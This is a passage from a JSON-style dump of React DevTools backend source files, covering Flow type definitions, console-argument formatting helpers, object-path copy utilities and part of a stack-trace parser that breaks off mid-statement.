setSuspenseHandler?: ?(shouldSuspend: (fiber: Object) => boolean) => void,\n  // Only injected by React v16.8+ in order to support hooks inspection.\n  currentDispatcherRef?: LegacyDispatcherRef | CurrentDispatcherRef,\n  // Only injected by React v16.9+ in DEV mode.\n  // Enables DevTools to append owners-only component stack to error messages.\n  getCurrentFiber?: (() => Fiber | null) | null,\n  // Only injected by React Flight Clients in DEV mode.\n  // Enables DevTools to append owners-only component stack to error messages from Server Components.\n  getCurrentComponentInfo?: () => ReactComponentInfo | null,\n  // 17.0.2+\n  reconcilerVersion?: string,\n  // Uniquely identifies React DOM v15.\n  ComponentTree?: any,\n  // Present for React DOM v12 (possibly earlier) through v15.\n  Mount?: any,\n  // Only injected by React v17.0.3+ in DEV mode\n  setErrorHandler?: ?(shouldError: (fiber: Object) => ?boolean) => void,\n  // Intentionally opaque type to avoid coupling DevTools to different Fast Refresh versions.\n  scheduleRefresh?: Function,\n  // 18.0+\n  injectProfilingHooks?: (profilingHooks: DevToolsProfilingHooks) => void,\n  getLaneLabelMap?: () => Map<Lane, string> | null,\n  ...\n};\n\nexport type ChangeDescription = {\n  context: Array<string> | boolean | null,\n  didHooksChange: boolean,\n  isFirstMount: boolean,\n  props: Array<string> | null,\n  state: Array<string> | null,\n  hooks?: Array<number> | null,\n};\n\nexport type CommitDataBackend = {\n  // Tuple of fiber ID and change description\n  changeDescriptions: Array<[number, ChangeDescription]> | null,\n  duration: number,\n  // Only available in certain (newer) React builds,\n  effectDuration: number | null,\n  // Tuple of fiber ID and actual duration\n  fiberActualDurations: Array<[number, number]>,\n  // Tuple of fiber ID and computed \"self\" duration\n  fiberSelfDurations: Array<[number, number]>,\n  // Only available in certain (newer) React builds,\n  passiveEffectDuration: number | null,\n  priorityLevel: string | null,\n  timestamp: number,\n  updaters: Array<SerializedElement> | null,\n};\n\nexport type ProfilingDataForRootBackend = {\n  commitData: Array<CommitDataBackend>,\n  displayName: string,\n  // Tuple of Fiber ID and base duration\n  initialTreeBaseDurations: Array<[number, number]>,\n  rootID: number,\n};\n\n// Profiling data collected by the renderer interface.\n// This information will be passed to the frontend and combined with info it collects.\nexport type ProfilingDataBackend = {\n  dataForRoots: Array<ProfilingDataForRootBackend>,\n  rendererID: number,\n  timelineData: TimelineDataExport | null,\n};\n\nexport type PathFrame = {\n  key: string | null,\n  index: number,\n  displayName: string | null,\n};\n\nexport type PathMatch = {\n  id: number,\n  isFullMatch: boolean,\n};\n\n// Serialized version of ReactIOInfo\nexport type SerializedIOInfo = {\n  name: string,\n  description: string,\n  start: number,\n  end: number,\n  byteSize: null | number,\n  value: null | Promise<mixed>,\n  env: null | string,\n  owner: null | SerializedElement,\n  stack: null | ReactStackTrace,\n};\n\n// Serialized version of ReactAsyncInfo\nexport type SerializedAsyncInfo = {\n  awaited: SerializedIOInfo,\n  env: null | string,\n  owner: null | SerializedElement,\n  stack: null | ReactStackTrace,\n};\n\nexport type SerializedElement = {\n  displayName: string | null,\n  id: number,\n  key: number | string | null,\n  env: null | string,\n  stack: null | ReactStackTrace,\n  type: ElementType,\n};\n\nexport type OwnersList = {\n  id: number,\n  owners: Array<SerializedElement> | null,\n};\n\nexport type InspectedElement = {\n  id: number,\n\n  // Does the current renderer support editable hooks and function props?\n  canEditHooks: boolean,\n  canEditFunctionProps: boolean,\n\n  // Does the current renderer support advanced editing interface?\n  canEditHooksAndDeletePaths: boolean,\n  canEditHooksAndRenamePaths: boolean,\n  canEditFunctionPropsDeletePaths: boolean,\n  canEditFunctionPropsRenamePaths: boolean,\n\n  // Is this Error, and can its value be overridden now?\n  canToggleError: boolean,\n  isErrored: boolean,\n\n  // Is this Suspense, and can its value be overridden now?\n  canToggleSuspense: boolean,\n  // If this Element is suspended. Currently only set on Suspense boundaries.\n  isSuspended: boolean | null,\n\n  // Does the component have legacy context attached to it.\n  hasLegacyContext: boolean,\n\n  // Inspectable properties.\n  context: Object | null, // DehydratedData or {[string]: mixed}\n  hooks: Object | null, // DehydratedData or {[string]: mixed}\n  props: Object | null, // DehydratedData or {[string]: mixed}\n  state: Object | null, // DehydratedData or {[string]: mixed}\n  key: number | string | null,\n  errors: Array<[string, number]>,\n  warnings: Array<[string, number]>,\n\n  // Things that suspended this Instances\n  suspendedBy: Object, // DehydratedData or Array<SerializedAsyncInfo>\n  suspendedByRange: null | [number, number],\n  unknownSuspenders: UnknownSuspendersReason,\n\n  // List of owners\n  owners: Array<SerializedElement> | null,\n\n  // Environment name that this component executed in or null for the client\n  env: string | null,\n\n  source: ReactFunctionLocation | null,\n\n  // The location of the JSX creation.\n  stack: ReactStackTrace | null,\n\n  type: ElementType,\n\n  // Meta information about the root this element belongs to.\n  rootType: string | null,\n\n  // Meta information about the renderer that created this element.\n  rendererPackageName: string | null,\n  rendererVersion: string | null,\n\n  // UI plugins/visualizations for the inspected element.\n  plugins: Plugins,\n\n  // React Native only.\n  nativeTag: number | null,\n};\n\nexport const InspectElementErrorType = 'error';\nexport const InspectElementFullDataType = 'full-data';\nexport const InspectElementNoChangeType = 'no-change';\nexport const InspectElementNotFoundType = 'not-found';\n\nexport type InspectElementError = {\n  id: number,\n  responseID: number,\n  type: 'error',\n  errorType: 'user' | 'unknown-hook' | 'uncaught',\n  message: string,\n  stack?: string,\n};\n\nexport type InspectElementFullData = {\n  id: number,\n  responseID: number,\n  type: 'full-data',\n  value: InspectedElement,\n};\n\nexport type InspectElementHydratedPath = {\n  id: number,\n  responseID: number,\n  type: 'hydrated-path',\n  path: Array<string | number>,\n  value: any,\n};\n\nexport type InspectElementNoChange = {\n  id: number,\n  responseID: number,\n  type: 'no-change',\n};\n\nexport type InspectElementNotFound = {\n  id: number,\n  responseID: number,\n  type: 'not-found',\n};\n\nexport type InspectedElementPayload =\n  | InspectElementError\n  | InspectElementFullData\n  | InspectElementHydratedPath\n  | InspectElementNoChange\n  | InspectElementNotFound;\n\nexport type InstanceAndStyle = {\n  instance: Object | null,\n  style: Object | null,\n};\n\ntype Type = 'props' | 'hooks' | 'state' | 'context';\n\nexport type OnErrorOrWarning = (\n  type: 'error' | 'warn',\n  args: Array<any>,\n) => void;\nexport type GetComponentStack = (\n  topFrame: Error,\n) => null | {enableOwnerStacks: boolean, componentStack: string};\n\nexport type RendererInterface = {\n  cleanup: () => void,\n  clearErrorsAndWarnings: () => void,\n  clearErrorsForElementID: (id: number) => void,\n  clearWarningsForElementID: (id: number) => void,\n  deletePath: (\n    type: Type,\n    id: number,\n    hookID: ?number,\n    path: Array<string | number>,\n  ) => void,\n  findHostInstancesForElementID: FindHostInstancesForElementID,\n  findLastKnownRectsForID: FindLastKnownRectsForID,\n  flushInitialOperations: () => void,\n  getBestMatchForTrackedPath: () => PathMatch | null,\n  getComponentStack?: GetComponentStack,\n  getNearestMountedDOMNode: (component: Element) => Element | null,\n  getElementIDForHostInstance: GetElementIDForHostInstance,\n  getSuspenseNodeIDForHostInstance: GetElementIDForHostInstance,\n  getDisplayNameForElementID: GetDisplayNameForElementID,\n  getInstanceAndStyle(id: number): InstanceAndStyle,\n  getProfilingData(): ProfilingDataBackend,\n  getOwnersList: (id: number) => Array<SerializedElement> | null,\n  getPathForElement: (id: number) => Array<PathFrame> | null,\n  getSerializedElementValueByPath: (\n    id: number,\n    path: Array<string | number>,\n  ) => ?string,\n  handleCommitFiberRoot: (fiber: Object, commitPriority?: number) => void,\n  handleCommitFiberUnmount: (fiber: Object) => void,\n  handlePostCommitFiberRoot: (fiber: Object) => void,\n  hasElementWithId: (id: number) => boolean,\n  inspectElement: (\n    requestID: number,\n    id: number,\n    inspectedPaths: Object,\n    forceFullData: boolean,\n  ) => InspectedElementPayload,\n  logElementToConsole: (id: number) => void,\n  onErrorOrWarning?: OnErrorOrWarning,\n  overrideError: (id: number, forceError: boolean) => void,\n  overrideSuspense: (id: number, forceFallback: boolean) => void,\n  overrideSuspenseMilestone: (suspendedSet: Array<number>) => void,\n  overrideValueAtPath: (\n    type: Type,\n    id: number,\n    hook: ?number,\n    path: Array<string | number>,\n    value: any,\n  ) => void,\n  getElementAttributeByPath: (\n    id: number,\n    path: Array<string | number>,\n  ) => mixed,\n  getElementSourceFunctionById: (id: number) => null | Function,\n  renamePath: (\n    type: Type,\n    id: number,\n    hookID: ?number,\n    oldPath: Array<string | number>,\n    newPath: Array<string | number>,\n  ) => void,\n  renderer: ReactRenderer | null,\n  setTraceUpdatesEnabled: (enabled: boolean) => void,\n  setTrackedPath: (path: Array<PathFrame> | null) => void,\n  startProfiling: (\n    recordChangeDescriptions: boolean,\n    recordTimeline: boolean,\n  ) => void,\n  stopProfiling: () => void,\n  storeAsGlobal: (\n    id: number,\n    path: Array<string | number>,\n    count: number,\n  ) => void,\n  supportsTogglingSuspense: boolean,\n  updateComponentFilters: (componentFilters: Array<ComponentFilter>) => void,\n  getEnvironmentNames: () => Array<string>,\n\n  // Timeline profiler interface\n\n  ...\n};\n\nexport type Handler = (data: any) => void;\n\n// Renderers use these APIs to report profiling data to DevTools at runtime.\n// They get passed from the DevTools backend to the reconciler during injection.\nexport type DevToolsProfilingHooks = {\n  // Scheduling methods:\n  markRenderScheduled: (lane: Lane) => void,\n  markStateUpdateScheduled: (fiber: Fiber, lane: Lane) => void,\n  markForceUpdateScheduled: (fiber: Fiber, lane: Lane) => void,\n\n  // Work loop level methods:\n  markRenderStarted: (lanes: Lanes) => void,\n  markRenderYielded: () => void,\n  markRenderStopped: () => void,\n  markCommitStarted: (lanes: Lanes) => void,\n  markCommitStopped: () => void,\n  markLayoutEffectsStarted: (lanes: Lanes) => void,\n  markLayoutEffectsStopped: () => void,\n  markPassiveEffectsStarted: (lanes: Lanes) => void,\n  markPassiveEffectsStopped: () => void,\n\n  // Fiber level methods:\n  markComponentRenderStarted: (fiber: Fiber) => void,\n  markComponentRenderStopped: () => void,\n  markComponentErrored: (\n    fiber: Fiber,\n    thrownValue: mixed,\n    lanes: Lanes,\n  ) => void,\n  markComponentSuspended: (\n    fiber: Fiber,\n    wakeable: Wakeable,\n    lanes: Lanes,\n  ) => void,\n  markComponentLayoutEffectMountStarted: (fiber: Fiber) => void,\n  markComponentLayoutEffectMountStopped: () => void,\n  markComponentLayoutEffectUnmountStarted: (fiber: Fiber) => void,\n  markComponentLayoutEffectUnmountStopped: () => void,\n  markComponentPassiveEffectMountStarted: (fiber: Fiber) => void,\n  markComponentPassiveEffectMountStopped: () => void,\n  markComponentPassiveEffectUnmountStarted: (fiber: Fiber) => void,\n  markComponentPassiveEffectUnmountStopped: () => void,\n};\n\nexport type DevToolsBackend = {\n  Agent: Class<Agent>,\n  Bridge: Class<BackendBridge>,\n  initBackend: InitBackend,\n  setupNativeStyleEditor?: SetupNativeStyleEditor,\n};\n\nexport type ProfilingSettings = {\n  recordChangeDescriptions: boolean,\n  recordTimeline: boolean,\n};\n\nexport type DevToolsHook = {\n  listeners: {[key: string]: Array<Handler>, ...},\n  rendererInterfaces: Map<RendererID, RendererInterface>,\n  renderers: Map<RendererID, ReactRenderer>,\n  hasUnsupportedRendererAttached: boolean,\n  backends: Map<string, DevToolsBackend>,\n\n  emit: (event: string, data: any) => void,\n  getFiberRoots: (rendererID: RendererID) => Set<Object>,\n  inject: (renderer: ReactRenderer) => number | null,\n  on: (event: string, handler: Handler) => void,\n  off: (event: string, handler: Handler) => void,\n  reactDevtoolsAgent?: ?Object,\n  sub: (event: string, handler: Handler) => () => void,\n\n  // Used by react-native-web and Flipper/Inspector\n  resolveRNStyle?: ResolveNativeStyle,\n  nativeStyleEditorValidAttributes?: $ReadOnlyArray<string>,\n\n  // React uses these methods.\n  checkDCE: (fn: Function) => void,\n  onCommitFiberUnmount: (rendererID: RendererID, fiber: Object) => void,\n  onCommitFiberRoot: (\n    rendererID: RendererID,\n    fiber: Object,\n    // Added in v16.9 to support Profiler priority labels\n    commitPriority?: number,\n    // Added in v16.9 to support Fast Refresh\n    didError?: boolean,\n  ) => void,\n\n  // Timeline internal module filtering\n  getInternalModuleRanges: () => Array<[string, string]>,\n  registerInternalModuleStart: (moduleStartError: Error) => void,\n  registerInternalModuleStop: (moduleStopError: Error) => void,\n\n  // Testing\n  dangerous_setTargetConsoleForTesting?: (fakeConsole: Object) => void,\n\n  settings?: $ReadOnly<DevToolsHookSettings>,\n  ...\n};\n\nexport type DevToolsHookSettings = {\n  appendComponentStack: boolean,\n  breakOnConsoleErrors: boolean,\n  showInlineWarningsAndErrors: boolean,\n  hideConsoleLogsInStrictMode: boolean,\n  disableSecondConsoleLogDimmingInStrictMode: boolean,\n};\n\nexport type DevToolsSettings = DevToolsHookSettings & {\n  componentFilters: Array<ComponentFilter>,\n};\n\nexport type ReactBuildType =\n  | 'deadcode'\n  | 'development'\n  | 'outdated'\n  | 'production'\n  | 'unminified';\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/utils/formatConsoleArguments.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Do not add / import anything to this file.\n// This function could be used from multiple places, including hook.\n\n// Skips CSS and object arguments, inlines other in the first argument as a template string\nexport default function formatConsoleArguments(\n  maybeMessage: any,\n  ...inputArgs: $ReadOnlyArray<any>\n): $ReadOnlyArray<any> {\n  if (inputArgs.length === 0 || typeof maybeMessage !== 'string') {\n    return [maybeMessage, ...inputArgs];\n  }\n\n  const args = inputArgs.slice();\n\n  let template = '';\n  let argumentsPointer = 0;\n  for (let i = 0; i < maybeMessage.length; ++i) {\n    const currentChar = maybeMessage[i];\n    if (currentChar !== '%') {\n      template += currentChar;\n      continue;\n    }\n\n    const nextChar = maybeMessage[i + 1];\n    ++i;\n\n    // Only keep CSS and objects, inline other arguments\n    switch (nextChar) {\n      case 'c':\n      case 'O':\n      case 'o': {\n        ++argumentsPointer;\n        template += `%${nextChar}`;\n\n        break;\n      }\n      case 'd':\n      case 'i': {\n        const [arg] = args.splice(argumentsPointer, 1);\n        template += parseInt(arg, 10).toString();\n\n        break;\n      }\n      case 'f': {\n        const [arg] = args.splice(argumentsPointer, 1);\n        template += parseFloat(arg).toString();\n\n        break;\n      }\n      case 's': {\n        const [arg] = args.splice(argumentsPointer, 1);\n        template += String(arg);\n\n        break;\n      }\n\n      default:\n        template += `%${nextChar}`;\n    }\n  }\n\n  return [template, ...args];\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/utils/formatWithStyles.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Do not add / import anything to this file.\n// This function could be used from multiple places, including hook.\n\n// Formats an array of args with a style for console methods, using\n// the following algorithm:\n//     1. The first param is a string that contains %c\n//          - Bail out and return the args without modifying the styles.\n//            We don't want to affect styles that the developer deliberately set.\n//     2. The first param is a string that doesn't contain %c but contains\n//        string formatting\n//          - [`%c${args[0]}`, style, ...args.slice(1)]\n//          - Note: we assume that the string formatting that the developer uses\n//            is correct.\n//     3. The first param is a string that doesn't contain string formatting\n//        OR is not a string\n//          - Create a formatting string where:\n//                 boolean, string, symbol -> %s\n//                 number -> %f OR %i depending on if it's an int or float\n//                 default -> %o\nexport default function formatWithStyles(\n  inputArgs: $ReadOnlyArray<any>,\n  style?: string,\n): $ReadOnlyArray<any> {\n  if (\n    inputArgs === undefined ||\n    inputArgs === null ||\n    inputArgs.length === 0 ||\n    // Matches any of %c but not %%c\n    (typeof inputArgs[0] === 'string' && inputArgs[0].match(/([^%]|^)(%c)/g)) ||\n    style === undefined\n  ) {\n    return inputArgs;\n  }\n\n  // Matches any of %(o|O|d|i|s|f), but not %%(o|O|d|i|s|f)\n  const REGEXP = /([^%]|^)((%%)*)(%([oOdisf]))/g;\n  if (typeof inputArgs[0] === 'string' && inputArgs[0].match(REGEXP)) {\n    return [`%c${inputArgs[0]}`, style, ...inputArgs.slice(1)];\n  } else {\n    const firstArg = inputArgs.reduce((formatStr, elem, i) => {\n      if (i > 0) {\n        formatStr += ' ';\n      }\n      switch (typeof elem) {\n        case 'string':\n        case 'boolean':\n        case 'symbol':\n          return (formatStr += '%s');\n        case 'number':\n          const formatting = Number.isInteger(elem) ? '%i' : '%f';\n          return (formatStr += formatting);\n        default:\n          return (formatStr += '%o');\n      }\n    }, '%c');\n    return [firstArg, style, ...inputArgs];\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/utils/index.js",
    "content": "/**\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {compareVersions} from 'compare-versions';\nimport {dehydrate} from 'react-devtools-shared/src/hydration';\nimport isArray from 'shared/isArray';\n\nimport type {DehydratedData} from 'react-devtools-shared/src/frontend/types';\n\nexport {default as formatWithStyles} from './formatWithStyles';\nexport {default as formatConsoleArguments} from './formatConsoleArguments';\n\n// TODO: update this to the first React version that has a corresponding DevTools backend\nconst FIRST_DEVTOOLS_BACKEND_LOCKSTEP_VER = '999.9.9';\nexport function hasAssignedBackend(version?: string): boolean {\n  if (version == null || version === '') {\n    return false;\n  }\n  return gte(version, FIRST_DEVTOOLS_BACKEND_LOCKSTEP_VER);\n}\n\nexport function cleanForBridge(\n  data: Object | null,\n  isPathAllowed: (path: Array<string | number>) => boolean,\n  path: Array<string | number> = [],\n): DehydratedData | null {\n  if (data !== null) {\n    const cleanedPaths: Array<Array<string | number>> = [];\n    const unserializablePaths: Array<Array<string | number>> = [];\n    const cleanedData = dehydrate(\n      data,\n      cleanedPaths,\n      unserializablePaths,\n      path,\n      isPathAllowed,\n    );\n\n    return {\n      data: cleanedData,\n      cleaned: cleanedPaths,\n      unserializable: unserializablePaths,\n    };\n  } else {\n    return null;\n  }\n}\n\nexport function copyWithDelete(\n  obj: Object | Array<any>,\n  path: Array<string | number>,\n  index: number = 0,\n): Object | Array<any> {\n  const key = path[index];\n  const updated = isArray(obj) ? obj.slice() : {...obj};\n  if (index + 1 === path.length) {\n    if (isArray(updated)) {\n      updated.splice(((key: any): number), 1);\n    } else {\n      delete updated[key];\n    }\n  } else {\n    // $FlowFixMe[incompatible-use] number or string is fine here\n    updated[key] = copyWithDelete(obj[key], path, index + 1);\n  }\n  return updated;\n}\n\n// This function expects paths to be the same except for the final value.\n// e.g. ['path', 'to', 'foo'] and ['path', 'to', 'bar']\nexport function copyWithRename(\n  obj: Object | Array<any>,\n  oldPath: Array<string | number>,\n  newPath: Array<string | number>,\n  index: number = 0,\n): Object | Array<any> {\n  const oldKey = oldPath[index];\n  const updated = isArray(obj) ? obj.slice() : {...obj};\n  if (index + 1 === oldPath.length) {\n    const newKey = newPath[index];\n    // $FlowFixMe[incompatible-use] number or string is fine here\n    updated[newKey] = updated[oldKey];\n    if (isArray(updated)) {\n      updated.splice(((oldKey: any): number), 1);\n    } else {\n      delete updated[oldKey];\n    }\n  } else {\n    // $FlowFixMe[incompatible-use] number or string is fine here\n    updated[oldKey] = copyWithRename(obj[oldKey], oldPath, newPath, index + 1);\n  }\n  return updated;\n}\n\nexport function copyWithSet(\n  obj: Object | Array<any>,\n  path: Array<string | number>,\n  value: any,\n  index: number = 0,\n): Object | Array<any> {\n  if (index >= path.length) {\n    return value;\n  }\n  const key = path[index];\n  const updated = isArray(obj) ? obj.slice() : {...obj};\n  // $FlowFixMe[incompatible-use] number or string is fine here\n  updated[key] = copyWithSet(obj[key], path, value, index + 1);\n  return updated;\n}\n\nexport function getEffectDurations(root: Object): {\n  effectDuration: any | null,\n  passiveEffectDuration: any | null,\n} {\n  // Profiling durations are only available for certain builds.\n  // If available, they'll be stored on the HostRoot.\n  let effectDuration = null;\n  let passiveEffectDuration = null;\n  const hostRoot = root.current;\n  if (hostRoot != null) {\n    const stateNode = hostRoot.stateNode;\n    if (stateNode != null) {\n      effectDuration =\n        stateNode.effectDuration != null ? stateNode.effectDuration : null;\n      passiveEffectDuration =\n        stateNode.passiveEffectDuration != null\n          ? stateNode.passiveEffectDuration\n          : null;\n    }\n  }\n  return {effectDuration, passiveEffectDuration};\n}\n\nexport function serializeToString(data: any): string {\n  if (data === undefined) {\n    return 'undefined';\n  }\n\n  if (typeof data === 'function') {\n    return data.toString();\n  }\n\n  const cache = new Set<mixed>();\n  // Use a custom replacer function to protect against circular references.\n  return JSON.stringify(\n    data,\n    (key: string, value: any) => {\n      if (typeof value === 'object' && value !== null) {\n        if (cache.has(value)) {\n          return;\n        }\n        cache.add(value);\n      }\n      if (typeof value === 'bigint') {\n        return value.toString() + 'n';\n      }\n      return value;\n    },\n    2,\n  );\n}\n\nfunction safeToString(val: any): string {\n  try {\n    return String(val);\n  } catch (err) {\n    if (typeof val === 'object') {\n      // An object with no prototype and no `[Symbol.toPrimitive]()`, `toString()`, and `valueOf()` methods would throw.\n      // See https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#string_coercion\n      return '[object Object]';\n    }\n    throw err;\n  }\n}\n\n// based on https://github.com/tmpfs/format-util/blob/0e62d430efb0a1c51448709abd3e2406c14d8401/format.js#L1\n// based on https://developer.mozilla.org/en-US/docs/Web/API/console#Using_string_substitutions\n// Implements s, d, i and f placeholders\nexport function formatConsoleArgumentsToSingleString(\n  maybeMessage: any,\n  ...inputArgs: $ReadOnlyArray<any>\n): string {\n  const args = inputArgs.slice();\n\n  let formatted: string = safeToString(maybeMessage);\n\n  // If the first argument is a string, check for substitutions.\n  if (typeof maybeMessage === 'string') {\n    if (args.length) {\n      const REGEXP = /(%?)(%([jds]))/g;\n\n      // $FlowFixMe[incompatible-call]\n      formatted = formatted.replace(REGEXP, (match, escaped, ptn, flag) => {\n        let arg = args.shift();\n        switch (flag) {\n          case 's':\n            // $FlowFixMe[unsafe-addition]\n            arg += '';\n            break;\n          case 'd':\n          case 'i':\n            arg = parseInt(arg, 10).toString();\n            break;\n          case 'f':\n            arg = parseFloat(arg).toString();\n            break;\n        }\n        if (!escaped) {\n          return arg;\n        }\n        args.unshift(arg);\n        return match;\n      });\n    }\n  }\n\n  // Arguments that remain after formatting.\n  if (args.length) {\n    for (let i = 0; i < args.length; i++) {\n      formatted += ' ' + safeToString(args[i]);\n    }\n  }\n\n  // Update escaped %% values.\n  formatted = formatted.replace(/%{2,2}/g, '%');\n\n  return String(formatted);\n}\n\nexport function isSynchronousXHRSupported(): boolean {\n  return !!(\n    window.document &&\n    window.document.featurePolicy &&\n    window.document.featurePolicy.allowsFeature('sync-xhr')\n  );\n}\n\nexport function gt(a: string = '', b: string = ''): boolean {\n  return compareVersions(a, b) === 1;\n}\n\nexport function gte(a: string = '', b: string = ''): boolean {\n  return compareVersions(a, b) > -1;\n}\n\nexport const isReactNativeEnvironment = (): boolean => {\n  // We've been relying on this for such a long time\n  // We should probably define the client for DevTools on the backend side and share it with the frontend\n  return window.document == null;\n};\n\n// 0.123456789 => 0.123\n// Expects high-resolution timestamp in milliseconds, like from performance.now()\n// Mainly used for optimizing the size of serialized profiling payload\nexport function formatDurationToMicrosecondsGranularity(\n  duration: number,\n): number {\n  return Math.round(duration * 1000) / 1000;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/utils/parseStackTrace.js",
    "content": "/**\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactStackTrace, ReactFunctionLocation} from 'shared/ReactTypes';\n\nfunction parseStackTraceFromChromeStack(\n  stack: string,\n  skipFrames: number,\n): ReactStackTrace {\n  if (stack.startsWith('Error: react-stack-top-frame\\n')) {\n    // V8's default formatting prefixes with the error message which we\n    // don't want/need.\n    stack = stack.slice(29);\n  }\n  let idx = stack.indexOf('react_stack_bottom_frame');\n  if (idx === -1) {\n    idx = stack.indexOf('react-stack-bottom-frame');\n  }\n  if (idx !== -1) {\n    idx = stack.lastIndexOf('\\n', idx);\n  }\n  if (idx !== -1) {\n    // Cut off everything after the bottom frame since it'll be internals.\n    stack = stack.slice(0, idx);\n  }\n  const frames = stack.split('\\n');\n  const parsedFrames: ReactStackTrace = [];\n  // We skip top frames here since they may or may not be parseable but we\n  // want to skip the same number of frames regardless. I.e. we can't do it\n  // in the caller.\n  for (let i = skipFrames; i < frames.length; i++) {\n    const parsed = chromeFrameRegExp.exec(frames[i]);\n    if (!parsed) {\n      continue;\n    }\n    let name = parsed[1] || '';\n    let isAsync = parsed[8] === 'async ';\n    if (name === '<anonymous>') {\n      name = '';\n    } else if (name.startsWith('async ')) {\n      name = name.slice(5);\n      isAsync = true;\n    }\n    let filename = parsed[2] || parsed[5] || '';\n    if (filename === '<anonymous>') {\n      filename = '';\n    }\n    const line = +(parsed[3] || parsed[6] || 0);\n    const col = +(parsed[4] || parsed[7] || 0);\n    parsedFrames.push([name, filename, line, col, 0, 0, isAsync]);\n  }\n  return parsedFrames;\n}\n\nconst firefoxFrameRegExp = /^((?:.*\".+\")?[^@]*)@(.+):(\\d+):(\\d+)$/;\nfunction parseStackTraceFromFirefoxStack(\n  stack: string,\n  skipFrames: number,\n): ReactStackTrace {\n  let idx = stack.indexOf('react_stack_bottom_frame');\n  if (idx === -1) {\n    idx = stack.indexOf('react-stack-bottom-frame');\n  }\n  if (idx !== -1) {\n    idx = stack.lastIndexOf('\\n', idx);\n  }\n  if (idx !== -1) {\n    // Cut off everything after the bottom frame since it'll be internals.\n    stack = stack.slice(0, idx);\n  }\n  const frames = stack.split('\\n');\n  const parsedFrames: ReactStackTrace = [];\n  // We skip top frames here since they may or may not be parseable but we\n  // want to skip the same number of frames regardless. I.e. we can't do it\n  // in the caller.\n  for (let i = skipFrames; i < frames.length; i++) {\n    const parsed = firefoxFrameRegExp.exec(frames[i]);\n    if (!parsed) {\n      continue;\n    }\n    const name = parsed[1] || '';\n    const filename = parsed[2] || '';\n    const line = +parsed[3];\n    const col = +parsed[4];\n    parsedFrames.push([name, filename, line, col, 0, 0, false]);\n  }\n  return parsedFrames;\n}\n\nconst CHROME_STACK_REGEXP = /^\\s*at .*(\\S+:\\d+|\\(native\\))/m;\nexport function parseStackTraceFromString(\n  stack: string,\n  skipFrames: number,\n): ReactStackTrace {\n  if (stack.match(CHROME_STACK_REGEXP)) {\n    return parseStackTraceFromChromeStack(stack, skipFrames);\n  }\n  return parseStackTraceFromFirefoxStack(stack, skipFrames);\n}\n\nlet framesToSkip: number = 0;\nlet collectedStackTrace: null | ReactStackTrace = null;\n\nconst identifierRegExp = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;\n\nfunction getMethodCallName(callSite: CallSite): string {\n  const typeName = callSite.getTypeName();\n  const methodName = callSite.getMethodName();\n  const functionName = callSite.getFunctionName();\n  let result = '';\n  if (functionName) {\n    if (\n      typeName &&\n      identifierRegExp.test(functionName) &&\n      functionName !== typeName\n    ) {\n      result += typeName + '.';\n    }\n    result += functionName;\n    if (\n      methodName &&\n      functionName !== methodName &&\n      !functionName.endsWith('.' + methodName) &&\n      !functionName.endsWith(' ' + methodName)\n    ) {\n      result += ' [as ' + methodName + ']';\n    }\n  } else {\n    if (typeName) {\n      result += typeName + '.';\n    }\n    if (methodName) {\n      result += methodName;\n    } else {\n      result += '<anonymous>';\n    }\n  }\n  return result;\n}\n\nfunction collectStackTrace(\n  error: Error,\n  structuredStackTrace: CallSite[],\n): string {\n  const result: ReactStackTrace = [];\n  // Collect structured stack traces from the callsites.\n  // We mirror how V8 serializes stack frames and how we later parse them.\n  for (let i = framesToSkip; i < structuredStackTrace.length; i++) {\n    const callSite = structuredStackTrace[i];\n    let name =\n      // $FlowFixMe[method-unbinding]\n      typeof callSite.getFunctionName === 'function'\n        ? callSite.getFunctionName() || '<anonymous>'\n        : '';\n    if (\n      name.includes('react_stack_bottom_frame') ||\n      name.includes('react-stack-bottom-frame')\n    ) {\n      // Skip everything after the bottom frame since it'll be internals.\n      break;\n      // $FlowFixMe[method-unbinding]\n    } else if (typeof callSite.isNative === 'function' && callSite.isNative()) {\n      const isAsync =\n        // $FlowFixMe[prop-missing]\n        // $FlowFixMe[incompatible-use]\n        typeof callSite.isAsync === 'function' && callSite.isAsync();\n      result.push([name, '', 0, 0, 0, 0, isAsync]);\n    } else {\n      // We encode complex function calls as if they're part of the function\n      // name since we cannot simulate the complex ones and they look the same\n      // as function names in UIs on the client as well as stacks.\n      if (\n        // $FlowFixMe[method-unbinding]\n        typeof callSite.isConstructor === 'function' &&\n        callSite.isConstructor()\n      ) {\n        name = 'new ' + name;\n      } else if (\n        // $FlowFixMe[method-unbinding]\n        typeof callSite.isToplevel === 'function' &&\n        !callSite.isToplevel()\n      ) {\n        name = getMethodCallName(callSite);\n      }\n      if (name === '<anonymous>') {\n        name = '';\n      }\n      let filename =\n        // $FlowFixMe[method-unbinding]\n        typeof callSite.getScriptNameOrSourceURL === 'function'\n          ? callSite.getScriptNameOrSourceURL() || '<anonymous>'\n          : '';\n      if (filename === '<anonymous>') {\n        filename = '';\n        // $FlowFixMe[method-unbinding]\n        if (typeof callSite.isEval === 'function' && callSite.isEval()) {\n          const origin =\n            // $FlowFixMe[method-unbinding]\n            typeof callSite.getEvalOrigin === 'function'\n              ? callSite.getEvalOrigin()\n              : null;\n          if (origin) {\n            filename = origin.toString() + ', <anonymous>';\n          }\n        }\n      }\n      const line =\n        // $FlowFixMe[method-unbinding]\n        (typeof callSite.getLineNumber === 'function' &&\n          callSite.getLineNumber()) ||\n        0;\n      const col =\n        // $FlowFixMe[method-unbinding]\n        (typeof callSite.getColumnNumber === 'function' &&\n          callSite.getColumnNumber()) ||\n        0;\n      const 